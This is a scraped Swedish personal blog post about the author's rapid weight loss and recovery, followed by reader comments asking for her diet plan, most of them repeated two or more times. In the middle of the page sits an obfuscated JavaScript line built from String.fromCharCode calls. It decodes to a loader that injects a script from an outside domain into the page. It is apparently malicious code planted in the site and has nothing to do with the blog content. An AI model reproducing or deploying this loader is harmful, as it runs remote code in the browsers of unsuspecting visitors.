Godmorgon! Blå himmel, strålande sol, men frost och kallt 🙂
Då var det dags för morgon vikten:
För fyra dagar sedan visade vågen 67,4. Idag 64,3! Det är minus – 3,1 kg -Wow! Återigen, med risk för att återupprepa mig, jag svälter mig inte! Jag äter mer än någonsin, regelbundet, utan salt och socker! Fyra gånger om dagen, nu när INTE tränar 🙂
nu har jag precis landat på My’s Blommor, för personalmöte…. Och frukost med tjejerna 🙂
När jag är klar här ska jag ta en morgon promenad igen… Gördlarna sitter på, tejpen likaså. Jag mår såååå mycket bättre Men får ta det i min egna takt 🙂 Missa inte det nyttiga pizza receptet jag la upp igår, något inför kvällen eller helgen kanske? 😉Veckans erbjudande i butiken:
Helt fantastiskt är det och grymt kämpat! Ibland krävs det radikala förändringar, men ack, så bra det blir! ?
Här började man på pulver för 3 dagar sedan .. och ätit ”bra” en vecka .. minus ca 4 kg på en vecka.
Målet är en Gastric by pass – op om ca 6 veckor! ? Som sagt – förändringar!
Lycka till vackra kvinna!
Hej! Började läsa din blogg av en slump ? Du verkar vara en otroligt jordnära och härlig tjej! Jättekul med dina framsteg. Nu har även jag blivit inspirerad att tänka på vad jag stoppar i mig, får bli dippade grönsaker istället för chips ikväll ? Jag önskar dig all lycka ?
Vad glad jag blir ? tack snälla! Att tänka på vad man äter är bra, det behöver inte bara handla om vikt (som jag just ni visar på vågen) det handlar för mig mycket om att må bra igen, sova bättre, vara piggareoch orka mer ? kram på dig!
Helt fantastiskt är det och grymt kämpat! Ibland krävs det radikala förändringar, men ack, så bra det blir! 😉
Här började man på pulver för 3 dagar sedan .. och ätit ”bra” en vecka .. minus ca 4 kg på en vecka.
Målet är en Gastric by pass – op om ca 6 veckor! 😉 Som sagt – förändringar!
Lycka till vackra kvinna!
Hej! Började läsa din blogg av en slump 🙂 Du verkar vara en otroligt jordnära och härlig tjej! Jättekul med dina framsteg. Nu har även jag blivit inspirerad att tänka på vad jag stoppar i mig, får bli dippade grönsaker istället för chips ikväll 😉 Jag önskar dig all lycka 🙂
Vad glad jag blir 🙂 tack snälla! Att tänka på vad man äter är bra, det behöver inte bara handla om vikt (som jag just ni visar på vågen) det handlar för mig mycket om att må bra igen, sova bättre, vara piggareoch orka mer 🙂 kram på dig!
Hej My!
Gillar verkligen att följa din blogg! : )
Kul att få följa din resa. En liten fråga jag har är: Vad äter du för mellanmål ??
Ha en bra dag!!
//Cia
Härligt med viktnedgång! =)
Vill bara höja ett varningens finger (så sjuuukt moraltantigt det lät..) så att du inte blir besviken om nedgången inte sker i samma takt efter någon/några vecka/veckor. Det är i stort sett bara vätska man tappar i början och då brukar kilona rasa ganska fort. Men jag antar att du redan visste det!? =)
Roligt iaf att följa din förändring och jag vill verkligen ge cred till alla som fixar att lägga om kosten och följa det strikt. (Jag har själv försökt, men det är tyvärr ingen långsiktig lösning för mig.)
Hej!Visst är det så, jag är ganska väl påläst i ämnet…. jag ser inte detta som en quick fix utan ser detta som en långsiktig förändring, med ett mål att uppnå min mål/ideal vikt på 60 kg =) recept och träningstips kommer att öka i samma takt som min rehabilitering går framåt. Självdisciplin är inte lätt, jag säger inte att jag kommer lyckas. men jag kämpar på ? Trevlig helg! Kram
Gud va duktig du är ? Vilken viktnedgång! Skulle bli väldigt tacksam om du ville lägga upp ditt kostschema. Tack för en härlig o personlig blogg ? Lycka till med allt! Kram Kicki
hej kicki! Tack snälla du =)
Jag kommer att lägga upp det lite längre fram…. jag utvärderar det just nu, vill veta att jag verkligen kan stå för det innan jag rekommenderar det, viktigt för mig… =) trevlig helg
Härligt med viktnedgång! =)
Vill bara höja ett varningens finger (så sjuuukt moraltantigt det lät..) så att du inte blir besviken om nedgången inte sker i samma takt efter någon/några vecka/veckor. Det är i stort sett bara vätska man tappar i början och då brukar kilona rasa ganska fort. Men jag antar att du redan visste det!? =)
Roligt iaf att följa din förändring och jag vill verkligen ge cred till alla som fixar att lägga om kosten och följa det strikt. (Jag har själv försökt, men det är tyvärr ingen långsiktig lösning för mig.)
Hej!Visst är det så, jag är ganska väl påläst i ämnet…. jag ser inte detta som en quick fix utan ser detta som en långsiktig förändring, med ett mål att uppnå min mål/ideal vikt på 60 kg =) recept och träningstips kommer att öka i samma takt som min rehabilitering går framåt. Självdisciplin är inte lätt, jag säger inte att jag kommer lyckas. men jag kämpar på 😉 Trevlig helg! Kram
Gud va duktig du är 🙂 Vilken viktnedgång! Skulle bli väldigt tacksam om du ville lägga upp ditt kostschema. Tack för en härlig o personlig blogg 🙂 Lycka till med allt! Kram Kicki
hej kicki! Tack snälla du =)
Jag kommer att lägga upp det lite längre fram…. jag utvärderar det just nu, vill veta att jag verkligen kan stå för det innan jag rekommenderar det, viktigt för mig… =) trevlig helg
hej! Jag kommer att lägga upp det lite längre fram…. jag utvärderar det just nu, vill veta att jag verkligen kan stå för det innan jag rekommenderar det =) trevlig helg
hej! Jag kommer att lägga upp det lite längre fram…. jag utvärderar det just nu, vill veta att jag verkligen kan stå för det innan jag rekommenderar det =) trevlig helg
My Martens , Ako Rahim. Adviral Media.
d
Ako, Renata, My
var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/
nu har jag precis landat på My’s Blommor, för personalmöte…. Och frukost med tjejerna 🙂 
När jag är klar här ska jag ta en morgon promenad igen… Gördlarna sitter på, tejpen likaså. Jag mår såååå mycket bättre Men får ta det i min egna takt 🙂 Missa inte det nyttiga pizza receptet jag la upp igår, något inför kvällen eller helgen kanske? 😉
Veckans erbjudande i butiken:
Önskar dej en fin dag i solen. Kram från västkusten ?
Helt fantastiskt är det och grymt kämpat! Ibland krävs det radikala förändringar, men ack, så bra det blir! ?
Här började man på pulver för 3 dagar sedan .. och ätit ”bra” en vecka .. minus ca 4 kg på en vecka.
Målet är en Gastric by pass – op om ca 6 veckor! ? Som sagt – förändringar!
Lycka till vackra kvinna!
Önskar dej en fin dag i solen. Kram från västkusten 🙂
Hej! Började läsa din blogg av en slump ? Du verkar vara en otroligt jordnära och härlig tjej! Jättekul med dina framsteg. Nu har även jag blivit inspirerad att tänka på vad jag stoppar i mig, får bli dippade grönsaker istället för chips ikväll ? Jag önskar dig all lycka ?
Vad glad jag blir ? tack snälla! Att tänka på vad man äter är bra, det behöver inte bara handla om vikt (som jag just ni visar på vågen) det handlar för mig mycket om att må bra igen, sova bättre, vara piggareoch orka mer ? kram på dig!
Helt fantastiskt är det och grymt kämpat! Ibland krävs det radikala förändringar, men ack, så bra det blir! 😉
Här började man på pulver för 3 dagar sedan .. och ätit ”bra” en vecka .. minus ca 4 kg på en vecka.
Målet är en Gastric by pass – op om ca 6 veckor! 😉 Som sagt – förändringar!
Lycka till vackra kvinna!
Hej! Började läsa din blogg av en slump 🙂 Du verkar vara en otroligt jordnära och härlig tjej! Jättekul med dina framsteg. Nu har även jag blivit inspirerad att tänka på vad jag stoppar i mig, får bli dippade grönsaker istället för chips ikväll 😉 Jag önskar dig all lycka 🙂
Vad glad jag blir 🙂 tack snälla! Att tänka på vad man äter är bra, det behöver inte bara handla om vikt (som jag just ni visar på vågen) det handlar för mig mycket om att må bra igen, sova bättre, vara piggareoch orka mer 🙂 kram på dig!
Hej My!
Gillar verkligen att följa din blogg! : )
Kul att få följa din resa. En liten fråga jag har är: Vad äter du för mellanmål ??
Ha en bra dag!!
//Cia
Härligt med viktnedgång! =)
Vill bara höja ett varningens finger (så sjuuukt moraltantigt det lät..) så att du inte blir besviken om nedgången inte sker i samma takt efter någon/några vecka/veckor. Det är i stort sett bara vätska man tappar i början och då brukar kilona rasa ganska fort. Men jag antar att du redan visste det!? =)
Roligt iaf att följa din förändring och jag vill verkligen ge cred till alla som fixar att lägga om kosten och följa det strikt. (Jag har själv försökt, men det är tyvärr ingen långsiktig lösning för mig.)
Hej!Visst är det så, jag är ganska väl påläst i ämnet…. jag ser inte detta som en quick fix utan ser detta som en långsiktig förändring, med ett mål att uppnå min mål/ideal vikt på 60 kg =) recept och träningstips kommer att öka i samma takt som min rehabilitering går framåt. Självdisciplin är inte lätt, jag säger inte att jag kommer lyckas. men jag kämpar på ? Trevlig helg! Kram
Gud va duktig du är ? Vilken viktnedgång! Skulle bli väldigt tacksam om du ville lägga upp ditt kostschema. Tack för en härlig o personlig blogg ? Lycka till med allt! Kram Kicki
hej kicki! Tack snälla du =)
Jag kommer att lägga upp det lite längre fram…. jag utvärderar det just nu, vill veta att jag verkligen kan stå för det innan jag rekommenderar det, viktigt för mig… =) trevlig helg
Hej My!
Gillar verkligen att följa din blogg! : )
Kul att få följa din resa. En liten fråga jag har är: Vad äter du för mellanmål ??
Ha en bra dag!!
//Cia
Härligt med viktnedgång! =)
Vill bara höja ett varningens finger (så sjuuukt moraltantigt det lät..) så att du inte blir besviken om nedgången inte sker i samma takt efter någon/några vecka/veckor. Det är i stort sett bara vätska man tappar i början och då brukar kilona rasa ganska fort. Men jag antar att du redan visste det!? =)
Roligt iaf att följa din förändring och jag vill verkligen ge cred till alla som fixar att lägga om kosten och följa det strikt. (Jag har själv försökt, men det är tyvärr ingen långsiktig lösning för mig.)
Hej!Visst är det så, jag är ganska väl påläst i ämnet…. jag ser inte detta som en quick fix utan ser detta som en långsiktig förändring, med ett mål att uppnå min mål/ideal vikt på 60 kg =) recept och träningstips kommer att öka i samma takt som min rehabilitering går framåt. Självdisciplin är inte lätt, jag säger inte att jag kommer lyckas. men jag kämpar på 😉 Trevlig helg! Kram
Vore roligt om du berättade hur du äter och dricker. Jag tycker det låter toppen att äta så ofta att inte hungern maler i kroppen hela tiden. Kram ?
Gud va duktig du är 🙂 Vilken viktnedgång! Skulle bli väldigt tacksam om du ville lägga upp ditt kostschema. Tack för en härlig o personlig blogg 🙂 Lycka till med allt! Kram Kicki
hej kicki! Tack snälla du =)
Jag kommer att lägga upp det lite längre fram…. jag utvärderar det just nu, vill veta att jag verkligen kan stå för det innan jag rekommenderar det, viktigt för mig… =) trevlig helg
Vore roligt om du berättade hur du äter och dricker. Jag tycker det låter toppen att äta så ofta att inte hungern maler i kroppen hela tiden. Kram 🙂
Grattis till allt!!! Så kul att följa din ”resa”, kan du inte lägga upp vad du äter? Skulle välja hänga på. Kramar
hej! Jag kommer att lägga upp det lite längre fram…. jag utvärderar det just nu, vill veta att jag verkligen kan stå för det innan jag rekommenderar det =) trevlig helg
Grattis till allt!!! Så kul att följa din ”resa”, kan du inte lägga upp vad du äter? Skulle välja hänga på. Kramar
hej! Jag kommer att lägga upp det lite längre fram…. jag utvärderar det just nu, vill veta att jag verkligen kan stå för det innan jag rekommenderar det =) trevlig helg
Du är så inspirerande My!!
Vad äter du på dagarna? Gärna bilder och recept på hur de är upplagt
Du är så inspirerande My!!
Vad äter du på dagarna? Gärna bilder och recept på hur de är upplagt